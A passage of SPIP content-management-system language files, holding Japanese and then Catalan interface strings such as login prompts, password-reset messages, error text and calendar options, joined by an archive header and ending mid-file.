'info_contact_developpeur' => '開発者に連絡を取って下さい。',
'info_contenance' => 'このサイトのコンテンツ:',
'info_contribution' => '掲示板の投稿', # MODIF
'info_copyright' => '@spip@ は、@lien_gpl@ で配布されているフリーソフトです。',
'info_copyright_doc' => '更なる情報を得るには、<a href="@spipnet@">http://www.spip.net/ja</a>を見てください。', # MODIF
'info_copyright_gpl' => 'GPLライセンスのもと',
'info_cours_edition' => '進行中のあなたの記事', # MODIF
'info_creer_repertoire' => '呼び出されたファイルかディレクトリを作って下さい:',
'info_creer_repertoire_2' => 'サブディレクトリ <b>@repertoire@</b>内、それから', # MODIF
'info_creer_vignette' => '自動的に作成されたサムネイル',
'info_deplier' => '示す',
'info_descriptif_nombre' => '記述:',
'info_description' => '記述:',
'info_description_2' => '記述:',
'info_dimension' => 'サイズ:',
'info_ecire_message_prive' => 'プライベートなメッセージを書く',
'info_email_invalide' => '無効なe-mailアドレス。',
'info_en_cours_validation' => '進行中のあなたの記事',
'info_en_ligne' => '今オンライン:',
'info_envoyer_message_prive' => 'この著者にプライベートメッセージを送る',
'info_erreur_requete' => '照会でのエラー:',
'info_erreur_squelette2' => 'テンプレートが入手不可能 <b>@fichier@</b>...',
'info_erreur_systeme' => 'システムエラー (エラー番号 @errsys@)',
'info_erreur_systeme2' => 'ハードディスクがいっぱいか、データベースがダメージを受けている。<br />
<span style="color:red;">試してみて <a href=\'@script@\'>データベースの修復</a>,
それかあなたのホストに問い合わせてください。</span>', # MODIF
'info_fini' => '終わった！',
'info_format_image' => 'ビネット(半身写真、模様等)の作成に使える画像のフォーマット: @gd_formats@。',
'info_format_non_defini' => '未定義のフォーマット',
'info_grand_ecran' => '大きく表示',
'info_image_aide' => 'ヘルプ',
'info_image_process_titre' => 'サムネイルの作り方',
'info_impossible_lire_page' => '<b>エラー!</b> ページを読むことが出来なかった <tt><html>@test_proxy@</html></tt> プロキシを介して <tt>', # MODIF
'info_installation_systeme_publication' => '出版システムインストレーション ...',
'info_installer_documents' => 'あなたは@upload@フォルダにあるすべてのドキュメントを自動的にインストール出来ます。', # MODIF
'info_installer_ftp' => '管理者なら@upload@フォルダに（FTPで）ファイルを置いておけば、後でここから直接そのファイルを選択できるようになります。', # MODIF
'info_installer_images' => 'あなたはJPEG、GIF、PNGフォーマットの画像をインストール出来ます。',
'info_installer_images_dossier' => '@upload@ フォルダにインストールしたファイルをここで選択することが出来ます。', # MODIF
'info_interface_complete' => '完全なインターフェース',
'info_interface_simple' => 'シンプルなインターフェース',
'info_joindre_document_article' => 'あなたはあなたの記事へタイプのドキュメントを付着させることが出来ます。',
'info_joindre_document_rubrique' => 'あなたはこのセクションにタイプのドキュメントを追加できます。',
'info_joindre_documents_article' => 'あなたはあなたの記事へタイプの記事を付着することが出来ます:',
'info_l_article' => '記事',
'info_la_breve' => 'そのニュース',
'info_la_rubrique' => 'そのセクション',
'info_langue_principale' => 'サイトの主な言語',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ ピクセル',
'info_les_auteurs_1' => ' @les_auteurs@によって',
'info_logo_format_interdit' => '@formats@フォーマットのロゴのみ許可します。',
'info_logo_max_poids' => 'ロゴは、@maxi@より少ないべきです（このファイルは@actuel@）。',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'メッセージ',
'info_message_supprime' => 'メッセージは削除された',
'info_mise_en_ligne' => 'オンラインに公表された日付:',
'info_modification_parametres_securite' => 'セキュリティパラメータの変更',
'info_mois_courant' => 'その月:',
'info_mot_cle_ajoute' => '次のキーワードが追加された to',
'info_multi_herit' => 'デフォルト言語',
'info_multi_langues_soulignees' => '<u>下線が引かれている言語</u> インターフェースのすべての文章が翻訳されています。あなたがその言語を選んだとき、パブリックなサイトの多くの要素（日付、形式）は自動的に翻訳されるでしょう。下線が引かれていない言語は、それらの要素はサイトのメイン言語の時にだけ現れるでしょう。', # MODIF
'info_multilinguisme' => '多言語',
'info_nom_non_utilisateurs_connectes' => 'あなたの名前は接続しているユーザーのリストに現れない。',
'info_nom_utilisateurs_connectes' => 'あなたの名前は接続しているユーザーのリストに現れる。',
'info_nombre_en_ligne' => '今オンライン:',
'info_non_resultat' => '"@cherche_mot@" に対する結果は無い',
'info_non_utilisation_messagerie' => 'あなたはこのサイトの内部のメッセージ交換を使用していない。',
'info_nouveau_message' => 'あなたに１通メッセージが届いています',
'info_nouveaux_messages' => 'あなたに@total_messages@通のメッセージが来ています',
'info_numero_abbreviation' => 'No',
'info_pense_bete' => 'メモ',
'info_petit_ecran' => '小さく表示',
'info_pixels' => 'ピクセル',
'info_plusieurs_mots_trouves' => '"@cherche_mot@"についていくつかのキーワードが見つかった:',
'info_portfolio_automatique' => '自動作成の代表作品集:',
'info_premier_resultat' => '[@debut_limit@ 初めの結果、トータル @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ 最初の結果、トータル @total@]',
'info_propose_1' => '[@nom_site_spip@] 提出されました: @titre@',
'info_propose_2' => '提出された記事
-------------',
'info_propose_3' => '記事 "@titre@" は公開するために提出されました。',
'info_propose_4' => 'あなたに記事をよく調べて、意見を述べることを求めています。',
'info_propose_5' => 'その記事に関連した掲示板でお願いします。次のURLでその掲示板に移動できます:',
'info_publie_01' => '記事 "@titre@" @connect_nom@によって適正検査がなされました。',
'info_publie_1' => '[@nom_site_spip@] 公表されました: @titre@',
'info_publie_2' => '公表された記事
-----------------',
'info_rechercher' => 'サイト内検索',
'info_rechercher_02' => '検索 :',
'info_remplacer_vignette' => 'カスタマイズしたロゴによってデフォルトのビネット(半身像、写真)を置き換える:',
'info_sans_titre_2' => '無名',
'info_selectionner_fichier' => 'あなたは@upload@フォルダのファイルを選択することが出来ます。', # MODIF
'info_selectionner_fichier_2' => '選択したファイル:',
'info_supprimer_vignette' => 'ビネット(半身像、模様)を削除',
'info_symbole_bleu' => '<b>青</b>のシンボルは、<b>メモ</b>を表します: すなわちあなたが個人的に使用するメッセージ', # MODIF
'info_symbole_jaune' => '<b>黄色</b>のシンボルは、<b>すべてのエディターへのアナウンス</b>: それはすべての管理者が編集でき、すべてのエディターに見えます。', # MODIF
'info_symbole_vert' => '<b>緑</b>のシンボルは、サイトの<b>他のユーザーと交換したメッセージ</b>。', # MODIF
'info_telecharger_nouveau_logo' => '新しいロゴをアップロード:',
'info_telecharger_ordinateur' => 'あなたのコンピュータからアップロード:',
'info_tous_resultats_enregistres' => '[すべての結果は記録されます]',
'info_tout_afficher' => 'すべてを表示',
'info_travaux_texte' => 'このサイトはまだ準備中です。また後で来てください...',
'info_travaux_titre' => '建設中のサイト',
'info_trop_resultat' => '"@cherche_mot@"に対する結果が多すぎます; キーワードを絞って検索して下さい。',
'info_utilisation_messagerie_interne' => 'あなたはこのサイトの内部のメッセージ交換を使っています。',
'info_valider_lien' => 'このリンクの適正検査',
'info_verifier_image' => '、あなたの画像が適切に転送されたか確認して下さい。',
'info_vignette_defaut' => '標準の写真、模様',
'info_vignette_personnalisee' => 'ビネット(半身写真、模様など)をカスタマイズ',
'info_visite' => '１つの訪問:',
'info_vos_rendez_vous' => 'あなたの次の約束',
'infos_vos_pense_bete' => 'あなたのメモ', # MODIF
// L
'lien_afficher_icones_seuls' => 'アイコン表示のみ',
'lien_afficher_texte_icones' => 'アイコンとテキストの表示',
'lien_afficher_texte_seul' => 'テキスト表示のみ',
'lien_liberer' => 'リリース',
'lien_liberer_tous' => 'それらの記事は無料です', # MODIF
'lien_nouvea_pense_bete' => '新しいメモ',
'lien_nouveau_message' => '新しいメッセージ',
'lien_nouvelle_annonce' => '新しいアナウンス',
'lien_petitions' => '署名機能',
'lien_popularite' => '人気度: @popularite@%',
'lien_racine_site' => 'サイトのルート',
'lien_reessayer' => 'もう一度トライ',
'lien_repondre_message' => 'このメッセージに返信する',
'lien_supprimer' => '削除',
'lien_tout_afficher' => 'すべて表示',
'lien_visite_site' => 'このサイトを訪問',
'lien_visites' => '@visites@訪問',
'lien_voir_auteur' => 'この著者を調べる',
'ligne' => '—ñ',
'login_acces_prive' => 'プライベートエリアへアクセスする',
'login_autre_identifiant' => '他のIDで接続する',
'login_cookie_accepte' => 'クッキーを許可するようにあなたのブラウザを設定してください（少なくともこのサイトの）。',
'login_cookie_oblige' => '確実にあなた自身を確認するために、あなたはクッキーを許可しなければなりません。',
'login_deconnexion_ok' => '切断された。',
'login_erreur_pass' => 'パスワードエラー。',
'login_espace_prive' => 'プライベートエリア',
'login_identifiant_inconnu' => 'そのID、"@login@"は、知りません。',
'login_login' => 'ログインID:',
'login_login2' => 'ログインID（このサイトに接続するためのID）:', # MODIF
'login_login_pass_incorrect' => '（ログインIDかパスワードが間違っています）。',
'login_motpasseoublie' => 'パスワードを忘れましたか？',
'login_non_securise' => '警告：このフォームは安全でないです。
もしあなたがパスワードを
ネットワーク上で傍受されたくないのなら、あなたのブラウザの
javascriptを有効にして',
'login_nouvelle_tentative' => '新しい試み',
'login_par_ici' => 'あなたは登録済みです... このように...',
'login_pass2' => 'パスワード:',
'login_preferez_refuser' => '<b>もしあなたがクッキーを拒絶する方がいいなら</b>、他の接続方法(それほど安全でない)をあなたが自由に使うことが出来る:',
'login_recharger' => 'このページを再読込してください<br />',
'login_rester_identifie' => '数日の間ログオンしたままにする',
'login_retour_public' => 'パブリックなサイトへ戻る',
'login_retour_site' => 'パブリックなサイトへ戻る',
'login_retoursitepublic' => 'パブリックなサイトへ戻る',
'login_sans_cookiie' => 'クッキーなしで認証',
'login_sinscrire' => '登録',
'login_test_navigateur' => 'ブラウザが再接続を試みている',
'login_verifiez_navigateur' => '(しかし、あなたのブラウザがあなたのパスワードを記憶しなかったかどうか確かめて下さい...)',
// M
'module_fichiers_langues' => '言語ファイル',
// N
'navigateur_pas_redirige' => 'もし、あなたのブラウザがリダイレクトしないなら、続けるためにここをクリックして下さい。',
// O
'onglet_affacer_base' => 'データベースの削除',
'onglet_auteur' => '著者',
'onglet_contenu_site' => 'そのサイトのコンテンツ',
'onglet_evolution_visite_mod' => '訪問度合い',
'onglet_fonctions_avances' => '進行した機能',
'onglet_informations_personnelles' => '個人情報',
'onglet_interactivite' => '対話性',
'onglet_messagerie' => 'メッセージ交換',
'onglet_repartition_rubrique' => 'セクションによるディストリビューション',
'onglet_save_restaur_base' => 'バックアップ/復元 データベース',
'onglet_vider_cache' => '空のキャッシュ',
// P
'pass_choix_pass' => 'あなたの新しいパスワードを決めてください:',
'pass_erreur' => 'エラー',
'pass_erreur_acces_refuse' => '<b>エラー:</b> あなたはもう、このサイトへのアクセスを持っていません。',
'pass_erreur_code_inconnu' => '<b>エラー:</b> このコードはサイトへのアクセス許可を持ったどの訪問者とも一致しません。',
'pass_erreur_non_enregistre' => '<b>エラー:</b> アドレス <tt>@email_oubli@</tt> はこのサイトに登録されていません。',
'pass_erreur_non_valide' => '<b>エラー:</b> そのアドレス<tt>@email_oubli@</tt> は有効ではありません！',
'pass_erreur_probleme_technique' => '<b>エラー:</b> このe-mailは、技術的な問題によって送ることができませんでした。',
'pass_espace_prive_bla' => 'このサイトのプライベートエリアは、登録後訪問者に開かれます。あなたが登録したなら、
あなたは進行中の記事を観覧したり、
記事を提出したり、すべての掲示板に参加できます。',
'pass_forum_bla' => 'あなたは登録者専用の掲示板に参加したいと
リクエストしました。',
'pass_indiquez_cidessous' => 'あなたが前に登録したe-mailアドレスを
下に入力してください。
あなたのアクセスが再び出来るよう、どのようにすればよいかをe-mailで受信するでしょう。',
'pass_mail_passcookie' => '(これは自動メッセージです)
サイト
@nom_site_spip@ (@adresse_site@)
へあなたのアクセスを取り戻す為には
次のアドレスに行ってください:
@sendcookie@
あなたはそれから新しいパスワードを入力して
サイトへまた接続することができます。
', # MODIF
'pass_mot_oublie' => 'パスワードを忘れた',
'pass_nouveau_enregistre' => 'あなたの新しいパスワードを記録しました。',
'pass_nouveau_pass' => '新しいパスワード',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'パスワードを忘れている',
'pass_quitter_fenetre' => 'このウィンドウを終了する',
'pass_rappel_login' => 'リマインダー: あなたのID (ログインID) は " @login@ "。',
'pass_recevoir_mail' => 'あなたは、このサイトへどのようにアクセスできるかの説明を、e-mailで受け取るでしょう。',
'pass_retour_public' => 'パブリックなサイトへ戻る',
'pass_rien_a_faire_ici' => 'ここでする事は無い。',
'pass_vousinscrire' => 'サイトに登録します',
'precedent' => '前',
'previsualisation' => 'プレビュー',
'previsualiser' => 'プレビューを表示する',
// S
'squelette' => 'テンプレート',
'squelette_inclus_ligne' => 'template, lineを含んでいます',
'squelette_ligne' => 'template, line',
'stats_visites_et_popularite' => '@visites@訪問; 人気度: @popularite@',
'suivant' => '次へ',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'あなたがインターフェースに精通したとき、クリック «',
'texte_actualite_site_2' => '完全なインターフェース',
'texte_actualite_site_3' => '» さらに多くの特徴を利用可能にするように。',
'texte_creation_automatique_vignette' => 'このサイトで使用可能なビネットのプレビューの自動作成。あなたがインストールするとき、このフォームを通して、@gd_formats@フォーマットの画像、最大サイズが@taille_preview@ピクセルのビネットと結びつけられるでしょう。',
'texte_documents_associes' => '次のドキュメントは、記事で、関連づけられます、
しかしそれらはダイレクトに
挿入されない。パブリックなサイトのレイアウトをベースにして、
それらは付加されたドキュメントとして現れることができました。',
'texte_erreur_mise_niveau_base' => 'アップグレード中のデータベースエラー。
画像 <b>@fichier@</b> をパスすることが出来なかった (記事 @id_article@)。<p>
慎重にこの参照に注意します、
また最後にまだ記事に画像が現れることを
確認して下さい。', # MODIF
'texte_inc_auth_1' => 'あなたはあなた自身をログインID
<b>@auth_login@</b>と思っていますが、それはデータベースに存在しません(もう)。
Try to', # MODIF
'texte_inc_auth_2' => '再接続',
'texte_inc_auth_3' => '終了しました
もし必要ならばあなたのブラウザを再起動してください。',
'texte_inc_config' => '下で入力した変更はサイトの機能に躊躇に
影響を与えます。あなたがSPIPシステムの機能に精通していないなら
それらを扱わないように助言します<br /><br /><b>より
一般的に、あなたは
あなたのサイトの主なウェブマスターにこのページを取り扱わせることを強くお勧めします。</b>', # MODIF
'texte_inc_meta_1' => 'ファイル <code>@fichier@</code>に書き込もうとしたとき、システムはエラーに遭遇しました。サイトの管理者としてお願いします。', # MODIF
'texte_inc_meta_2' => '書き込み許可の確認',
'texte_inc_meta_3' => '<code>@repertoire@</code>ディレクトリの。', # MODIF
'texte_statut_en_cours_redaction' => '編集進行中',
'texte_statut_poubelle' => 'ゴミ箱の中',
'texte_statut_propose_evaluation' => '評価のため提出中',
'texte_statut_publie' => 'オンラインに公開中',
'texte_statut_refuse' => '拒否された',
'titre_ajouter_mot_cle' => 'キーワードの追加:',
'titre_cadre_raccourcis' => 'ショートカット:',
'titre_changer_couleur_interface' => 'インターフェースの色を変える',
'titre_image_admin_article' => 'あなたはこの記事を管理することができます',
'titre_image_administrateur' => '管理者',
'titre_image_aide' => 'このアイテムについてのヘルプ',
'titre_image_auteur_supprime' => '削除された著者',
'titre_image_redacteur' => 'アクセス無しのエディタ',
'titre_image_redacteur_02' => '編集者',
'titre_image_visiteur' => '訪問者',
'titre_joindre_document' => 'ドキュメントを置く',
'titre_mots_cles' => 'キーワード',
'titre_probleme_technique' => '警告: 技術的な問題 (SQL server) サイトのこの部分へのアクセスを防ぎます。<p>あなたの理解に感謝します。', # MODIF
'titre_publier_document' => 'このセクションで文章を公開する',
'titre_statistiques' => 'サイトの統計',
'titre_titre_document' => '文章のタイトル:',
'trad_reference' => '(参考記事)', # MODIF
// Z
'zbug_balise_b_aval' => ': Bタグはループ内で遅すぎる',
'zbug_balise_inexistante' => 'erreur @from@: la balise #@balise@ n’existe pas', # MODIF
'zbug_boucle' => 'ループ',
'zbug_boucle_recursive_undef' => '未定義な回帰的なループ', # MODIF
'zbug_champ_hors_boucle' => 'ループ外の @champ@ フィールド',
'zbug_champ_hors_motif' => 'ループ外の @champ@ フィールドは @motif@ とタグされた', # MODIF
'zbug_code' => 'コード',
'zbug_critere_inconnu' => '未知の基準 @critere@', # MODIF
'zbug_distant_interdit' => '外部のデータが禁じられます', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons sur une table sans clef primaire atomique', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => '歪んでいる@id@: ２重登録', # MODIF
'zbug_erreur_boucle_fermant' => '歪んでいる@id@: 欠けている終了タグ', # MODIF
'zbug_erreur_boucle_syntaxe' => '間違ったループ (歪んだ) 構文 ', # MODIF
'zbug_erreur_execution_page' => 'ページの計算でエラー', # MODIF
'zbug_erreur_filtre' => 'エラー - 未定義のフィルター: <b>"@filtre@"</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} only applies to loops (FORUMS) and (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'テンプレート内でエラー',
'zbug_info_erreur_squelette' => 'サイトのエラー',
'zbug_inversion_ordre_inexistant' => '実在しない命令の逆転', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'インクルードのパラメタが間違っている', # MODIF
'zbug_resultat' => '結果',
'zbug_serveur_indefini' => '未定義のSQL server', # MODIF
'zbug_table_inconnue' => 'SQLテーブル "@table@" は見つからない'
);
?>
ecrire_ca.php 0000666 00000222110 15252547432 0007204 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar el connector',
'affichage' => 'Presentació',
'aide_non_disponible' => 'Aquesta part de l’ajuda en línia no està encara disponible en aquesta llengua.',
'auteur' => 'Autor:',
'avis_acces_interdit' => 'Accès prohibit',
'avis_article_modifie' => 'Atenció, @nom_auteur_modif@ ha treballat en aquest article fa @date_diff@ minuts',
'avis_aucun_resultat' => 'Cap resultat',
'avis_base_inaccessible' => 'Impossible connectar-se a la base de dades @base@.',
'avis_chemin_invalide_1' => 'El camí que heu triat',
'avis_chemin_invalide_2' => 'no sembla pas vàlid. Voleu tornar a la pàgina precedent i constrastar les informacions donades.',
'avis_connexion_echec_1' => 'La connexió a la base de dades ha fracassat.',
'avis_connexion_echec_2' => 'Tornar a la pàgina precedent per verificar les dades que heu ficat.',
'avis_connexion_echec_3' => '<b>N.B.</b> A molts dels servidors, heu de <b>demanar</b> l’activació del vostre accés a la base de dades abans de poder-la utilitzar. Si no podeu connectar-vos, verifiqueu que heu efectuat aquest pas.',
'avis_connexion_erreur_nom_base' => 'El nom de la base només pot contenir lletres, xifres i guions',
'avis_connexion_ldap_echec_1' => ' La connexió amb el servidor LDAP ha caigut.',
'avis_connexion_ldap_echec_2' => 'Tornar a la pàgina precedent per verificar les dades que heu ficat.',
'avis_connexion_ldap_echec_3' => 'Alternativament, no utilitzeu el support LDAP per a importar els usuaris.',
'avis_deplacement_rubrique' => 'Atenció ! Aquesta secció conté @contient_breves@ breu@scb@ : si la moveu, assenyaleu-ho en aquesta casella de confirmació.',
'avis_destinataire_obligatoire' => 'Ha d’escriure un destinatari abans d’enviar el missatge.',
'avis_erreur_connexion_mysql' => 'Error de connexió SQL',
'avis_erreur_version_archive' => '<b>Alerta! El fitxer @archive@ correspon a una versió d’SPIP diferent a la que teniu instal·lada.</b> Us podeu trobar amb grans dificultats: risc de destrucció de la base de dades, mal funcionament del lloc, etc. No valideu aquesta sol·licitud d’importació.<p> Si voleu més informació, consulteu <a href="@spipnet@"> la documentació d’SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Zona prohibida</b><div>SPIP ja està instal·lat.</div>',
'avis_lecture_noms_bases_1' => 'El programa d’instal·lació no ha pogut llegir els noms de les bases de dades instal·lades.',
'avis_lecture_noms_bases_2' => 'O bé cap base de dades no està disponible, o bé la funció que permet de llistar les bases ha estat
desactivada per raons de seguretat (cosa normal en molts proveïdors d’hostatge).',
'avis_lecture_noms_bases_3' => 'En la segona alternativa, és probable que una base que porti el vostre nom d’usuari sigui utilitzable:',
'avis_non_acces_message' => 'No teniu accés a aquest missatge.',
'avis_non_acces_page' => 'No teniu accés a aquesta pàgina.',
'avis_operation_echec' => 'L’operació ha fracassat.',
'avis_operation_impossible' => 'Operació impossible',
'avis_probleme_archive' => 'Problema de lectura del fitxer @archive@',
'avis_suppression_base' => 'ATENCIÓ, la supressió de dades és irreversible.',
'avis_version_mysql' => 'La vostra versió de SQL (@version_mysql@) no permet l’auto reparació de les taules de la base de dades.',
// B
'bouton_acces_ldap' => 'Afegir l’accés a LDAP',
'bouton_ajouter' => 'Afegir',
'bouton_ajouter_participant' => 'AFEGIR UN PARTICIPANT :',
'bouton_annonce' => 'ANUNCI',
'bouton_annuler' => 'Anul·lar',
'bouton_checkbox_envoi_message' => 'possibilitat d’enviar un missatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatòriament un lloc Web',
'bouton_checkbox_signature_unique_email' => 'una sola signatura per adreça electrònica ',
'bouton_checkbox_signature_unique_site' => 'una sola signatura per lloc Web',
'bouton_demande_publication' => 'Demanar la publicació d’aquest article',
'bouton_desactive_tout' => 'Desactivar-ho tot',
'bouton_desinstaller' => 'desinstal·lar ',
'bouton_effacer_index' => 'Esborrar els índex',
'bouton_effacer_tout' => 'Esborrar-ho TOT',
'bouton_envoi_message_02' => 'ENVIAR UN MISSATGE',
'bouton_envoyer_message' => 'Missatge definitiu : enviar',
'bouton_fermer' => 'Tancar',
'bouton_mettre_a_jour_base' => 'Actualització de la base de dades',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'RECORDATORI D’ÚS PERSONAL',
'bouton_radio_activer_messagerie' => 'Activar la missatgeria',
'bouton_radio_activer_messagerie_interne' => 'Activar la missatgeria interna',
'bouton_radio_activer_petition' => 'Activar la petició',
'bouton_radio_afficher' => 'Mostrar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aparèixer a la llista de redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la missatgeria',
'bouton_radio_envoi_annonces_adresse' => 'Enviar els anuncis a l’adreça:',
'bouton_radio_envoi_liste_nouveautes' => 'Enviar la llista de novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'No aparèixer a la llista de redactors/es ',
'bouton_radio_non_envoi_annonces_editoriales' => 'No enviar anuncis editorials',
'bouton_radio_pas_petition' => 'Cap petició',
'bouton_radio_petition_activee' => 'Petició activada',
'bouton_radio_supprimer_petition' => 'Suprimir la petició',
'bouton_redirection' => 'REDIRECCIÓ',
'bouton_relancer_installation' => 'Tornar a llançar la instal·lació',
'bouton_suivant' => 'Següent',
'bouton_tenter_recuperation' => 'Intentar reparar',
'bouton_test_proxy' => 'Provar el proxy',
'bouton_vider_cache' => 'Buidar la memòria cau',
'bouton_voir_message' => 'Veure el missatge abans de ser validat ',
// C
'cache_mode_compresse' => 'Els fitxers de la memòria cau són desats en mode comprimit.',
'cache_mode_non_compresse' => 'Els fitxers de la memòria cau són desats en mode no comprimit.',
'cache_modifiable_webmestre' => 'Aquest paràmetre és modificable pel webmestre del lloc Web.',
'calendrier_synchro' => 'Si utilitzeu un programari d’agenda compatible <b>iCal</b>, el podeu sincronitzar amb les informacions d’aquest lloc.',
'config_activer_champs' => 'Activar els camps següents',
'config_choix_base_sup' => 'indicar una base en aquest servidor',
'config_erreur_base_sup' => 'SPIP no té accés a la llista de bases accesibles',
'config_info_base_sup' => 'Si teniu altres bases de dades a interrogar per mitjà d’SPIP, amb el seu servidor SQL o amb un altre, el formulari que hi ha més avall, us permet declarar-les. Si deixeu alguns camps buits, s’utilitzaran els identificadors de connexió a la base principal.',
'config_info_base_sup_disponibles' => 'Bases suplementàries ja consultables:',
'config_info_enregistree' => 'La nova configuració s’ha enregistrat',
'config_info_logos' => 'Cada element del lloc Web pòt tenir el seu logotip, com un «logotip d’imatge canviant»',
'config_info_logos_utiliser' => 'Utilitzar els logotips',
'config_info_logos_utiliser_non' => 'No utilitzar els logotips',
'config_info_logos_utiliser_survol' => 'Utilitzar els logotips d’imatge canviant',
'config_info_logos_utiliser_survol_non' => 'No utilitzar els logotips d’imatge canviant',
'config_info_redirection' => 'Activant aquesta opció, podreu crear articles virtuals, simples referències d’articles publicats en altres llocs Web o fora d’SPIP.',
'config_redirection' => 'Articles virtuals',
'config_titre_base_sup' => 'Declaració d’una base suplementària',
'config_titre_base_sup_choix' => 'Escolliu una base suplementària',
'connexion_ldap' => 'Connexió:',
'copier_en_local' => 'Copiar en local',
'creer_et_associer_un_auteur' => 'Crear i associar un autor',
// D
'date_mot_heures' => 'hores',
// E
'ecran_securite' => '+ pantalla de seguretat @version@',
'email' => 'correu electrònic',
'email_2' => 'correu electrònic:',
'en_savoir_plus' => 'Per més informació',
'entree_adresse_annuaire' => 'Adreça del directori',
'entree_adresse_email' => 'L’adreça electrònica ',
'entree_adresse_email_2' => 'Correu electrònic',
'entree_base_donnee_1' => 'Adreça de la base de dades',
'entree_base_donnee_2' => '(Sovint aquesta adreça correspon a la del vostre lloc, a vegades correspon a la menció «localhost», altres vegades es deixa totalment buida.)',
'entree_biographie' => 'Biografia curta i en poques paraules.',
'entree_chemin_acces' => '<b>Entrar</b> el camí d’accés:',
'entree_cle_pgp' => 'La vostra clau PGP',
'entree_cle_pgp_2' => 'Clau PGP',
'entree_contenu_rubrique' => '(Contingut de la secció, en poques paraules.)',
'entree_identifiants_connexion' => 'Els vostres identificadors de connexió...',
'entree_identifiants_connexion_2' => 'Identificadors de connexió',
'entree_informations_connexion_ldap' => 'Entreu en aquest formulari les informacions de connexió del vostre directori LDAP.
L’administrador del sistema o de la xarxa us pot donar aquestes informacions.
',
'entree_infos_perso' => 'Qui sóu?',
'entree_infos_perso_2' => 'Qui és l’autor?',
'entree_interieur_rubrique' => 'A l’interior de la secció:',
'entree_liens_sites' => '<b>Enllaç hipertext</b> (referència, indret a visitar...)',
'entree_login' => 'El vostre nom d’usuari',
'entree_login_connexion_1' => 'El nom d’usuari de connexió',
'entree_login_connexion_2' => '(A vegades correspon al vostre nom d’usuari d’accés a l’FTP; a vegades s’ha de deixar buit)',
'entree_login_ldap' => 'Nom d’usuari LDAP inicial',
'entree_mot_passe' => 'La contrasenya',
'entree_mot_passe_1' => 'La contrasenya de connexió',
'entree_mot_passe_2' => '(A vegades correspon a la vostra contrasenya FTP; a vegades es deixa buit)',
'entree_nom_fichier' => 'Introduir el nom del fitxer @texte_compresse@:',
'entree_nom_pseudo' => 'El vostre nom o pseudònim',
'entree_nom_pseudo_1' => '(El vostre nom o el vostre pseudònim)',
'entree_nom_pseudo_2' => 'Nom o pseudònim ',
'entree_nom_site' => 'El nom del vostre lloc',
'entree_nom_site_2' => 'Nom del lloc de l’autor',
'entree_nouveau_passe' => 'Una nova contrasenya',
'entree_passe_ldap' => 'Contrasenya',
'entree_port_annuaire' => 'Número de port del directori',
'entree_signature' => 'Secció',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatori]<br />',
'entree_url' => 'L’adreça (URL) del vostre lloc',
'entree_url_2' => 'Adreça (URL) del lloc',
'erreur_connect_deja_existant' => 'Ja existeix un servidor amb aquest nom',
'erreur_nom_connect_incorrect' => 'Aquest nom de servidor no està autoritzat',
'erreur_plugin_desinstalation_echouee' => 'La desinstal·lació del connector ha fracassat. No obstant el podeu desactivar. ', # MODIF
'erreur_plugin_fichier_absent' => 'Fitxer absent',
'erreur_plugin_fichier_def_absent' => 'Fitxer de definició absent',
'erreur_plugin_nom_fonction_interdit' => 'Nom de funció prohibit',
'erreur_plugin_nom_manquant' => 'Falta el nom del connector',
'erreur_plugin_prefix_manquant' => 'Espai de nom del connector no definit',
'erreur_plugin_tag_plugin_absent' => 'falta el <plugin> al fitxer de definició',
'erreur_plugin_version_manquant' => 'Falta la versió del connector',
// H
'htaccess_a_simuler' => 'Advertiment: la configuració del vostre servidor HTTP no té en compte els fitxers @htaccess@. Per garantir-vos una bona seguretat, heu de modificar aquesta configuració en aquest punt, o bé fer que les constants @constantes@ (es defineixen al fitxer mes_options.php) tinguin com a valor els directoris a fora de @document_root@.',
'htaccess_inoperant' => 'htaccess inoperant',
// I
'ical_info1' => 'Aquesta pàgina mostra diferents maneres per estar en contacte amb la vida d’aquest lloc.',
'ical_info2' => 'Per tenir més informacions sobre aquestes tècniques, no dubteu a consultar <a href="@spipnet@">la documentació d’SPIP</a>.',
'ical_info_calendrier' => 'Hi ha dos calendaris a la vostra disposició. El primer és un mapa del lloc que mostra tots els articles publicats. El segon conté els anuncis editorials a més dels vostres darrers missatges privats: està reservat per vosaltres gràcies a una clau personal, que podeu modificar en tot moment renovant la vostra contrasenya. ',
'ical_methode_http' => 'Descàrrega',
'ical_methode_webcal' => 'Sincronització (webcal://)',
'ical_texte_js' => 'Els articles publicats en aquest lloc poden ser mostrats fàcilment, en qualsevol lloc vostre, mitjançant una línia de javascript. ',
'ical_texte_prive' => 'Aquest calendari, d’ús estrictament personal, us informa de l’activitat editorial privada d’aquest lloc (feines i cites personals, articles i breus proposats...).',
'ical_texte_public' => 'Aquest calendari us permet seguir l’activitat pública d’aquest lloc (articles i breus publicats).',
'ical_texte_rss' => 'Podeu sindicar les novetats d’aquest lloc mitjançant qualsevol lector de fitxers en format XML/RSS (Rich Site Summary). Aquest és també el format que permet a SPIP llegir les novetats publicades en altres llocs que utilitzen un format d’intercanvi compatible. ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Llista de correu',
